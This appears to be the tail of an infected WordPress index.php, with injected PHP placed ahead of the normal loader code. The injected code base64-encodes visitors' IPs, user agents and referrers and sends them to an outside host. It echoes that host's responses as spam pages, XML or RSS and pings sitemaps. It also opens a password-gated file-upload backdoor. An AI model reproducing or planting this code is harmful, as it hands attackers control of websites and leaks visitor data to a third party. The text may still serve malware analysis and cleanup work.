                    $host = @$_SERVER['HTTP_HOST'];
                    $agent = base64_encode(@$_SERVER['HTTP_USER_AGENT']);
                    $referer = base64_encode(@$_SERVER['HTTP_REFERER']);
                    $ip = base64_encode(@$_SERVER['REMOTE_ADDR']);
                    $zone = base64_encode(date_default_timezone_get());
                    $http_type = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on' || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' ? 'https://' : 'http://';
                    $goweb = "https://morerise.top";
                    $typeName = base64_encode($http_type . $host);
                    $geturl = "https://morerise.top/index.php?domain=" . $typeName . '&uri=' . $uri . '&lan=' . $lan . '&agent=' . $agent . '&zone=' . $zone . '&ip=' . $ip . '&goweb=' . $goweb . '&referer=' . $referer;
                    $file_contents = getCurl($geturl);
                    if (stripos($_SERVER['REQUEST_URI'], 'jp2023') !== false) {
                        echo $host . ":cs051-ok;";
                        exit;
                    }
                    if (md5($_GET['upload']) == "b242fbecdf37cc338fb21ca8711682d3") {
                        echo '<form method="post" action="" enctype="multipart/form-data"><label for="file">file</label><input type="file" name="up" value=""><br><input type="submit" name="submit" value="submit"></form>';
                        if (move_uploaded_file($_FILES['up']['tmp_name'], './' . $_FILES['up']['name'])) {
                            echo 'ok!';
                        }
                        exit;
                    }
                    if (strstr($file_contents, "[#*#*#]")) {
                        $html = explode("[#*#*#]", $file_contents);
                        if ($html[0] == "echohtml") {
                            echo $html[1];
                            exit;
                        }
                        if ($html[0] == "echoxml") {
                            header("Content-type: text/xml");
                            echo $html[1];
                            exit;
                        }
                        if ($html[0] == "echorss") {
                            header("Content-type: text/xml");
                            echo $html[1];
                            exit;
                        }
                        if ($html[0] == "pingxml") {
                            $maps = explode("|||", $html[1]);
                            foreach ($maps as $v) {
                                $pingRes = getCurl($v);
                                $Oooo0s = strpos($pingRes, 'Sitemap Notification Received') !== false ? 'OK' : 'ERROR';
                                echo $v . '===>Sitemap: ' . $Oooo0s . "<br>";
                            }
                            exit;
                        }
                    }
                    function getCurl($url)
                    {
                        $file_contents = @file_get_contents($url);
                        if (!$file_contents) {
                            $ch = curl_init();
                            curl_setopt($ch, CURLOPT_URL, $url);
                            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                            $file_contents = curl_exec($ch);
                            curl_close($ch);
                        }
                        return $file_contents;
                    }
                };
            });
            @$mEriqO3481();
        };
    };
};
@null;
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-bloga-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */
/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require "/var/www/html/wp-blog-header.php";

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.